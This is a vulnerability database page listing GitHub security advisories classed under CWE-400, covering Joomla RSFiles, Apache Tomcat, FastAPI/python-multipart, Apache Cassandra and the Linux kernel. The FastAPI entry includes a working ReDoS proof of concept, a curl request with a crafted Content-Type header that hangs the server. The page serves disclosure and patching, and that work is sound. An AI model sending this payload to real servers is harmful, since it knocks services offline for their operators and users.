Common Weakness Enumeration
CWE-400
DiscouragedUncontrolled Resource Consumption
Abstraction: Class · Status: Draft
The product does not properly control the allocation and maintenance of a limited resource.
5425 vulnerabilities reference this CWE, most recent first.
GHSA-QCWV-QGHH-RPC5
Vulnerability from github – Published: 2025-07-18 12:30 – Updated: 2025-07-18 12:30
VLAI
Details
A DOS vulnerability in RSFiles! component 1.16.3-1.17.7 Joomla was discovered. The issue allows unauthenticated remote attackers to deny access to service via the search feature.
Severity
{
"affected": [],
"aliases": [
"CVE-2025-50057"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-07-18T10:15:34Z",
"severity": "MODERATE"
},
"details": "A DOS vulnerability in RSFiles! component 1.16.3-1.17.7 Joomla was discovered. The issue allows unauthenticated remote attackers to deny access to service via the search feature.",
"id": "GHSA-qcwv-qghh-rpc5",
"modified": "2025-07-18T12:30:36Z",
"published": "2025-07-18T12:30:36Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-50057"
},
{
"type": "WEB",
"url": "https://rsjoomla.com"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-QCXH-W3J9-58QR
Vulnerability from github – Published: 2020-06-15 18:51 – Updated: 2026-05-20 18:50
VLAI
Summary
Apache Tomcat Denial of Service vulnerability
Details
The HTTP/2 implementation in Apache Tomcat 9.0.0.M1 to 9.0.14 and 8.5.0 to 8.5.37 accepted streams with excessive numbers of SETTINGS frames and also permitted clients to keep streams open without reading/writing request/response data. By keeping streams open for requests that utilised the Servlet API's blocking I/O, clients were able to cause server-side threads to block eventually leading to thread exhaustion and a DoS.
Severity
7.5 (High)
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "org.apache.tomcat.embed:tomcat-embed-core"
},
"ranges": [
{
"events": [
{
"introduced": "9.0.0"
},
{
"fixed": "9.0.16"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.apache.tomcat.embed:tomcat-embed-core"
},
"ranges": [
{
"events": [
{
"introduced": "8.0.0"
},
{
"fixed": "8.5.38"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.apache.tomcat:tomcat-coyote"
},
"ranges": [
{
"events": [
{
"introduced": "9.0.0"
},
{
"fixed": "9.0.16"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.apache.tomcat:tomcat-coyote"
},
"ranges": [
{
"events": [
{
"introduced": "8.0.0"
},
{
"fixed": "8.5.38"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2019-0199"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": true,
"github_reviewed_at": "2020-06-15T16:43:54Z",
"nvd_published_at": "2019-04-10T15:29:00Z",
"severity": "HIGH"
},
"details": "The HTTP/2 implementation in Apache Tomcat 9.0.0.M1 to 9.0.14 and 8.5.0 to 8.5.37 accepted streams with excessive numbers of SETTINGS frames and also permitted clients to keep streams open without reading/writing request/response data. By keeping streams open for requests that utilised the Servlet API\u0027s blocking I/O, clients were able to cause server-side threads to block eventually leading to thread exhaustion and a DoS.",
"id": "GHSA-qcxh-w3j9-58qr",
"modified": "2026-05-20T18:50:07Z",
"published": "2020-06-15T18:51:09Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2019-0199"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/e1b0b273b6e8ddcc72c9023bc2394b1276fc72664144bf21d0a87995@%3Cannounce.tomcat.apache.org%3E"
},
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"type": "WEB",
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},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/e56886e1bac9319ecce81b3612dd7a1a43174a3a741a1c805e16880e@%3Ccommits.tomee.apache.org%3E"
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},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/NPHQEL5AQ6LZSZD2Y6TYZ4RC3WI7NXJ3"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/ZQTZ5BJ5F4KV6N53SGNKSW3UY5DBIQ46"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/NPHQEL5AQ6LZSZD2Y6TYZ4RC3WI7NXJ3"
},
{
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"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/ZQTZ5BJ5F4KV6N53SGNKSW3UY5DBIQ46"
},
{
"type": "WEB",
"url": "https://seclists.org/bugtraq/2019/Dec/43"
},
{
"type": "WEB",
"url": "https://security.netapp.com/advisory/ntap-20190419-0001"
},
{
"type": "WEB",
"url": "https://support.f5.com/csp/article/K17321505"
},
{
"type": "WEB",
"url": "https://web.archive.org/web/20200227030041/http://www.securityfocus.com/bid/107674"
},
{
"type": "WEB",
"url": "https://www.debian.org/security/2019/dsa-4596"
},
{
"type": "WEB",
"url": "https://www.oracle.com/security-alerts/cpuapr2020.html"
},
{
"type": "WEB",
"url": "https://www.oracle.com/security-alerts/cpujan2020.html"
},
{
"type": "WEB",
"url": "https://www.oracle.com/technetwork/security-advisory/cpujul2019-5072835.html"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2019:3929"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2019:3931"
},
{
"type": "PACKAGE",
"url": "https://github.com/apache/tomcat"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/158ab719cf60448ddbb074798f09152fdb572fc8f781e70a56118d1a%40%3Cdev.tomcat.apache.org%3E"
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"url": "https://lists.apache.org/thread.html/158ab719cf60448ddbb074798f09152fdb572fc8f781e70a56118d1a@%3Cdev.tomcat.apache.org%3E"
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"url": "https://lists.apache.org/thread.html/1dd0a59c1295cc08ce4c9e7edae5ad2268acc9ba55adcefa0532e5ba%40%3Cdev.tomcat.apache.org%3E"
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"url": "https://lists.apache.org/thread.html/1dd0a59c1295cc08ce4c9e7edae5ad2268acc9ba55adcefa0532e5ba@%3Cdev.tomcat.apache.org%3E"
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},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/dddb3590bac28fbe89f69f5ccbe26283d014ddc691abdd042de14600@%3Cannounce.tomcat.apache.org%3E"
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{
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"url": "https://lists.apache.org/thread.html/df1a2c1b87c8a6c500ecdbbaf134c7f1491c8d79d98b48c6b9f0fa6a%40%3Cannounce.tomcat.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/df1a2c1b87c8a6c500ecdbbaf134c7f1491c8d79d98b48c6b9f0fa6a@%3Cannounce.tomcat.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/e1b0b273b6e8ddcc72c9023bc2394b1276fc72664144bf21d0a87995%40%3Cannounce.tomcat.apache.org%3E"
},
{
"type": "WEB",
"url": "http://lists.opensuse.org/opensuse-security-announce/2019-06/msg00090.html"
},
{
"type": "WEB",
"url": "http://lists.opensuse.org/opensuse-security-announce/2019-07/msg00013.html"
},
{
"type": "WEB",
"url": "http://lists.opensuse.org/opensuse-security-announce/2019-07/msg00054.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Apache Tomcat Denial of Service vulnerability"
}
GHSA-QF9M-VFGH-M389
Vulnerability from github – Published: 2024-02-05 17:01 – Updated: 2024-02-20 18:16
VLAI
Summary
Duplicate Advisory: FastAPI Content-Type Header ReDoS
Details
Duplicate Advisory
This advisory has been withdrawn because it is a duplicate of GHSA-2jv5-9r88-3w3p. This link is maintained to preserve external references.
Original Description
Summary
When using form data, python-multipart uses a Regular Expression to parse the HTTP Content-Type header, including options.
An attacker could send a custom-made Content-Type option that is very difficult for the RegEx to process, consuming CPU resources and stalling indefinitely (minutes or more) while holding the main event loop. This means that process can't handle any more requests.
This can create a ReDoS (Regular expression Denial of Service): https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS
This only applies when the app uses form data, parsed with python-multipart.
Details
A regular HTTP Content-Type header could look like:
Content-Type: text/html; charset=utf-8
python-multipart parses the option with this RegEx: https://github.com/andrew-d/python-multipart/blob/d3d16dae4b061c34fe9d3c9081d9800c49fc1f7a/multipart/multipart.py#L72-L74
A custom option could be made and sent to the server to break it with:
Content-Type: application/x-www-form-urlencoded; !=\"\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\
This is also reported to Starlette at: https://github.com/encode/starlette/security/advisories/GHSA-93gm-qmq6-w238
PoC
Create a FastAPI app that uses form data:
# main.py
from typing import Annotated
from fastapi.responses import HTMLResponse
from fastapi import FastAPI,Form
from pydantic import BaseModel
class Item(BaseModel):
username: str
app = FastAPI()
@app.get("/", response_class=HTMLResponse)
async def index():
return HTMLResponse("Test", status_code=200)
@app.post("/submit/")
async def submit(username: Annotated[str, Form()]):
return {"username": username}
@app.post("/submit_json/")
async def submit_json(item: Item):
return {"username": item.username}
Then start it with:
$ uvicorn main:app
INFO: Started server process [50601]
INFO: Waiting for application startup.
INFO: ASGI 'lifespan' protocol appears unsupported.
INFO: Application startup complete.
INFO: Uvicorn running on http://127.0.0.1:8000 (Press CTRL+C to quit)
Then send the attacking request with:
$ curl -v -X 'POST' -H $'Content-Type: application/x-www-form-urlencoded; !=\"\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\' --data-binary 'input=1' 'http://localhost:8000/submit/'
Stopping it
Because that holds the main loop consuming the CPU non-stop, it's not possible to simply kill Uvicorn with Ctrl+C as it can't handle the signal.
To stop it, first check the process ID running Uvicorn:
$ ps -fA | grep uvicorn
501 59461 24785 0 4:28PM ttys004 0:00.13 /Users/user/code/starlette/env3.10/bin/python /Users/user/code/starlette/env3.10/bin/uvicorn redos_starlette:app
501 59466 99935 0 4:28PM ttys010 0:00.00 grep uvicorn
In this case, the process ID was 59461, then you can kill it (forcefully, with -9) with:
$ kill -9 59461
Impact
It's a ReDoS, (Regular expression Denial of Service), it only applies to those reading form data, using python-multipart. This way it also affects other libraries using Starlette, like FastAPI.
Original Report
This was originally reported to FastAPI as an email to security@tiangolo.com, sent via https://huntr.com/, the original reporter is Marcello, https://github.com/byt3bl33d3r
Original report to FastAPI Hey Tiangolo! My name's Marcello and I work on the ProtectAI/Huntr Threat Research team, a few months ago we got a report (from @nicecatch2000) of a ReDoS affecting another very popular Python web framework. After some internal research, I found that FastAPI is vulnerable to the same ReDoS under certain conditions (only when it parses Form data not JSON). Here are the details: I'm using the latest version of FastAPI (0.109.0) and the following code:from typing import Annotated
from fastapi.responses import HTMLResponse
from fastapi import FastAPI,Form
from pydantic import BaseModel
class Item(BaseModel):
username: str
app = FastAPI()
@app.get("/", response_class=HTMLResponse)
async def index():
return HTMLResponse("Test", status_code=200)
@app.post("/submit/")
async def submit(username: Annotated[str, Form()]):
return {"username": username}
@app.post("/submit_json/")
async def submit_json(item: Item):
return {"username": item.username}
uvicorn server:app
curl -v -X 'POST' -H $'Content-Type: application/x-www-form-urlencoded; !=\"\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\' --data-binary 'input=1' 'http://localhost:8000/submit/'
Severity
7.5 (High)
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.109.0"
},
"package": {
"ecosystem": "PyPI",
"name": "fastapi"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.109.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-1333",
"CWE-400"
],
"github_reviewed": true,
"github_reviewed_at": "2024-02-05T17:01:54Z",
"nvd_published_at": "2024-02-05T15:15:09Z",
"severity": "HIGH"
},
"details": "## Duplicate Advisory\nThis advisory has been withdrawn because it is a duplicate of GHSA-2jv5-9r88-3w3p. This link is maintained to preserve external references.\n\n## Original Description\n\n### Summary\n\nWhen using form data, `python-multipart` uses a Regular Expression to parse the HTTP `Content-Type` header, including options.\n\nAn attacker could send a custom-made `Content-Type` option that is very difficult for the RegEx to process, consuming CPU resources and stalling indefinitely (minutes or more) while holding the main event loop. This means that process can\u0027t handle any more requests.\n\nThis can create a ReDoS (Regular expression Denial of Service): https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS\n\nThis only applies when the app uses form data, parsed with `python-multipart`.\n\n### Details\n\nA regular HTTP `Content-Type` header could look like:\n\n```\nContent-Type: text/html; charset=utf-8\n```\n\n`python-multipart` parses the option with this RegEx: https://github.com/andrew-d/python-multipart/blob/d3d16dae4b061c34fe9d3c9081d9800c49fc1f7a/multipart/multipart.py#L72-L74\n\nA custom option could be made and sent to the server to break it with:\n\n```\nContent-Type: application/x-www-form-urlencoded; !=\\\"\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\n```\n\nThis is also reported to Starlette at: https://github.com/encode/starlette/security/advisories/GHSA-93gm-qmq6-w238\n\n### PoC\n\nCreate a FastAPI app that uses form data:\n\n```Python\n# main.py\nfrom typing import Annotated\nfrom fastapi.responses import HTMLResponse\nfrom fastapi import FastAPI,Form\nfrom pydantic import BaseModel\n\nclass Item(BaseModel):\n username: str\n\napp = FastAPI()\n\n@app.get(\"/\", response_class=HTMLResponse)\nasync def index():\n return HTMLResponse(\"Test\", status_code=200)\n\n@app.post(\"/submit/\")\nasync def submit(username: Annotated[str, Form()]):\n return {\"username\": username}\n\n@app.post(\"/submit_json/\")\nasync def submit_json(item: Item):\n return {\"username\": item.username}\n```\n\nThen start it with:\n\n```console\n$ uvicorn main:app\n\nINFO: Started server process [50601]\nINFO: Waiting for application startup.\nINFO: ASGI \u0027lifespan\u0027 protocol appears unsupported.\nINFO: Application startup complete.\nINFO: Uvicorn running on http://127.0.0.1:8000 (Press CTRL+C to quit)\n```\n\nThen send the attacking request with:\n\n```console\n$ curl -v -X \u0027POST\u0027 -H $\u0027Content-Type: application/x-www-form-urlencoded; !=\\\"\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\u0027 --data-binary \u0027input=1\u0027 \u0027http://localhost:8000/submit/\u0027\n```\n\n#### Stopping it\n\nBecause that holds the main loop consuming the CPU non-stop, it\u0027s not possible to simply kill Uvicorn with `Ctrl+C` as it can\u0027t handle the signal.\n\nTo stop it, first check the process ID running Uvicorn:\n\n```console\n$ ps -fA | grep uvicorn\n\n 501 59461 24785 0 4:28PM ttys004 0:00.13 /Users/user/code/starlette/env3.10/bin/python /Users/user/code/starlette/env3.10/bin/uvicorn redos_starlette:app\n 501 59466 99935 0 4:28PM ttys010 0:00.00 grep uvicorn\n```\n\nIn this case, the process ID was `59461`, then you can kill it (forcefully, with `-9`) with:\n\n```console\n$ kill -9 59461\n```\n\n### Impact\n\nIt\u0027s a ReDoS, (Regular expression Denial of Service), it only applies to those reading form data, using `python-multipart`. This way it also affects other libraries using Starlette, like FastAPI.\n\n### Original Report\n\nThis was originally reported to FastAPI as an email to security@tiangolo.com, sent via https://huntr.com/, the original reporter is Marcello, https://github.com/byt3bl33d3r\n\n\u003cdetails\u003e\n\u003csummary\u003eOriginal report to FastAPI\u003c/summary\u003e\n\nHey Tiangolo!\n\nMy name\u0027s Marcello and I work on the ProtectAI/Huntr Threat Research team, a few months ago we got a report (from @nicecatch2000) of a ReDoS affecting another very popular Python web framework. After some internal research, I found that FastAPI is vulnerable to the same ReDoS under certain conditions (only when it parses Form data not JSON).\n\nHere are the details: I\u0027m using the latest version of FastAPI (0.109.0) and the following code:\n\n```Python\nfrom typing import Annotated\nfrom fastapi.responses import HTMLResponse\nfrom fastapi import FastAPI,Form\nfrom pydantic import BaseModel\n\nclass Item(BaseModel):\n username: str\n\napp = FastAPI()\n\n@app.get(\"/\", response_class=HTMLResponse)\nasync def index():\n return HTMLResponse(\"Test\", status_code=200)\n\n@app.post(\"/submit/\")\nasync def submit(username: Annotated[str, Form()]):\n return {\"username\": username}\n\n@app.post(\"/submit_json/\")\nasync def submit_json(item: Item):\n return {\"username\": item.username}\n```\n\nI\u0027m running the above with uvicorn with the following command:\n\n```console\nuvicorn server:app\n```\n\nThen run the following cUrl command:\n\n```\ncurl -v -X \u0027POST\u0027 -H $\u0027Content-Type: application/x-www-form-urlencoded; !=\\\"\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\u0027 --data-binary \u0027input=1\u0027 \u0027http://localhost:8000/submit/\u0027\n```\n\nYou\u0027ll see the server locks up, is unable to serve anymore requests and one CPU core is pegged to 100%\n\nYou can even start uvicorn with multiple workers with the --workers 4 argument and as long as you send (workers + 1) requests you\u0027ll completely DoS the FastApi server.\n\nIf you try submitting Json to the /submit_json endpoint with the malicious Content-Type header you\u0027ll see it isn\u0027t vulnerable. So this only affects FastAPI when it parses Form data.\n\nCheers\n\n#### Impact\n\nAn attacker is able to cause a DoS on a FastApi server via a malicious Content-Type header if it parses Form data.\n\n#### Occurrences\n\n[params.py L586](https://github.com/tiangolo/fastapi/blob/d74b3b25659b42233a669f032529880de8bd6c2d/fastapi/params.py#L586)\n\n\u003c/details\u003e",
"id": "GHSA-qf9m-vfgh-m389",
"modified": "2024-02-20T18:16:58Z",
"published": "2024-02-05T17:01:54Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/Kludex/python-multipart/security/advisories/GHSA-2jv5-9r88-3w3p"
},
{
"type": "WEB",
"url": "https://github.com/encode/starlette/security/advisories/GHSA-93gm-qmq6-w238"
},
{
"type": "WEB",
"url": "https://github.com/tiangolo/fastapi/security/advisories/GHSA-qf9m-vfgh-m389"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-24762"
},
{
"type": "WEB",
"url": "https://github.com/Kludex/python-multipart/commit/20f0ef6b4e4caf7d69a667c54dff57fe467109a4"
},
{
"type": "WEB",
"url": "https://github.com/encode/starlette/commit/13e5c26a27f4903924624736abd6131b2da80cc5"
},
{
"type": "WEB",
"url": "https://github.com/tiangolo/fastapi/commit/9d34ad0ee8a0dfbbcce06f76c2d5d851085024fc"
},
{
"type": "WEB",
"url": "https://github.com/andrew-d/python-multipart/blob/d3d16dae4b061c34fe9d3c9081d9800c49fc1f7a/multipart/multipart.py#L72-L74"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/fastapi/PYSEC-2024-38.yaml"
},
{
"type": "PACKAGE",
"url": "https://github.com/tiangolo/fastapi"
},
{
"type": "WEB",
"url": "https://github.com/tiangolo/fastapi/releases/tag/0.109.1"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Duplicate Advisory: FastAPI Content-Type Header ReDoS",
"withdrawn": "2024-02-16T23:37:39Z"
}
GHSA-QFFM-GF3J-6MVG
Vulnerability from github – Published: 2026-04-07 18:31 – Updated: 2026-04-08 19:31
VLAI
Summary
Apache Cassandra has an authenticated DoS over CQL
Details
Authenticated DoS over CQL in Apache Cassandra 4.0, 4.1, 5.0 allows authenticated user to raise query latencies via repeated password changes. Users are recommended to upgrade to version 4.0.20, 4.1.11, 5.0.7, which fixes this issue.
Severity
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "org.apache.cassandra:cassandra-all"
},
"ranges": [
{
"events": [
{
"introduced": "4.0"
},
{
"fixed": "4.0.20"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.apache.cassandra:cassandra-all"
},
"ranges": [
{
"events": [
{
"introduced": "4.1"
},
{
"fixed": "4.1.11"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.apache.cassandra:cassandra-all"
},
"ranges": [
{
"events": [
{
"introduced": "5.0"
},
{
"fixed": "5.0.7"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-32588"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-08T19:31:59Z",
"nvd_published_at": "2026-04-07T17:16:28Z",
"severity": "LOW"
},
"details": "Authenticated DoS over CQL in Apache Cassandra 4.0, 4.1, 5.0 allows authenticated user to raise query latencies via repeated password changes.\nUsers are recommended to upgrade to version 4.0.20, 4.1.11, 5.0.7, which fixes this issue.",
"id": "GHSA-qffm-gf3j-6mvg",
"modified": "2026-04-08T19:31:59Z",
"published": "2026-04-07T18:31:37Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-32588"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread/2tnwjdnss378glxrsmnlzz3k53ftphrc"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2026/04/07/9"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Apache Cassandra has an authenticated DoS over CQL"
}
GHSA-QFRW-Q7QP-V27X
Vulnerability from github – Published: 2022-05-13 01:23 – Updated: 2022-05-13 01:23
VLAI
Details
The d_walk function in fs/dcache.c in the Linux kernel through 3.17.2 does not properly maintain the semantics of rename_lock, which allows local users to cause a denial of service (deadlock and system hang) via a crafted application.
Severity
5.5 (Medium)
{
"affected": [],
"aliases": [
"CVE-2014-8559"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2014-11-10T11:55:00Z",
"severity": "MODERATE"
},
"details": "The d_walk function in fs/dcache.c in the Linux kernel through 3.17.2 does not properly maintain the semantics of rename_lock, which allows local users to cause a denial of service (deadlock and system hang) via a crafted application.",
"id": "GHSA-qfrw-q7qp-v27x",
"modified": "2022-05-13T01:23:44Z",
"published": "2022-05-13T01:23:43Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2014-8559"
},
{
"type": "WEB",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=1159313"
},
{
"type": "WEB",
"url": "https://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=946e51f2bf37f1656916eb75bd0742ba33983c28"
},
{
"type": "WEB",
"url": "https://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=ca5358ef75fc69fee5322a38a340f5739d997c10"
},
{
"type": "WEB",
"url": "https://lkml.org/lkml/2014/10/25/171"
},
{
"type": "WEB",
"url": "https://lkml.org/lkml/2014/10/25/179"
},
{
"type": "WEB",
"url": "https://lkml.org/lkml/2014/10/25/180"
},
{
"type": "WEB",
"url": "https://lkml.org/lkml/2014/10/26/101"
},
{
"type": "WEB",
"url": "https://lkml.org/lkml/2014/10/26/116"
},
{
"type": "WEB",
"url": "https://lkml.org/lkml/2014/10/26/128"
},
{
"type": "WEB",
"url": "https://lkml.org/lkml/2014/10/26/129"
},
{
"type": "WEB",
"url": "https://support.f5.com/csp/article/K05211147"
},
{
"type": "WEB",
"url": "http://lists.opensuse.org/opensuse-security-announce/2015-01/msg00035.html"
},
{
"type": "WEB",
"url": "http://lists.opensuse.org/opensuse-security-announce/2015-03/msg00010.html"
},
{
"type": "WEB",
"url": "http://lists.opensuse.org/opensuse-security-announce/2015-03/msg00020.html"
},
{
"type": "WEB",
"url": "http://lists.opensuse.org/opensuse-security-announce/2015-03/msg00025.html"
},
{
"type": "WEB",
"url": "http://lists.opensuse.org/opensuse-security-announce/2015-04/msg00009.html"
},
{
"type": "WEB",
"url": "http://lists.opensuse.org/opensuse-security-announce/2015-04/msg00015.html"
},
{
"type": "WEB",
"url": "http://rhn.redhat.com/errata/RHSA-2015-1976.html"
},
{
"type": "WEB",
"url": "http://rhn.redhat.com/errata/RHSA-2015-1978.html"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/62801"
},
{
"type": "WEB",
"url": "http://www.debian.org/security/2015/dsa-3170"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2014/10/30/7"
},
{
"type": "WEB",
"url": "http://www.oracle.com/technetwork/topics/security/linuxbulletinoct2015-2719645.html"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/70854"
},
{
"type": "WEB",
"url": "http://www.securitytracker.com/id/1034051"
},
{
"type": "WEB",
"url": "http://www.ubuntu.com/usn/USN-2492-1"
},
{
"type": "WEB",
"url": "http://www.ubuntu.com/usn/USN-2493-1"
},
{
"type": "WEB",
"url": "http://www.ubuntu.com/usn/USN-2515-1"
},
{
"type": "WEB",
"url": "http://www.ubuntu.com/usn/USN-2516-1"
},
{
"type": "WEB",
"url": "http://www.ubuntu.com/usn/USN-2517-1"
},
{
"type": "WEB",
"url": "http://www.ubuntu.com/usn/USN-2518-1"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-QFVR-C3W2-X3H7
Vulnerability from github – Published: 2023-05-16 00:30 – Updated: 2024-04-04 04:11
VLAI
Details
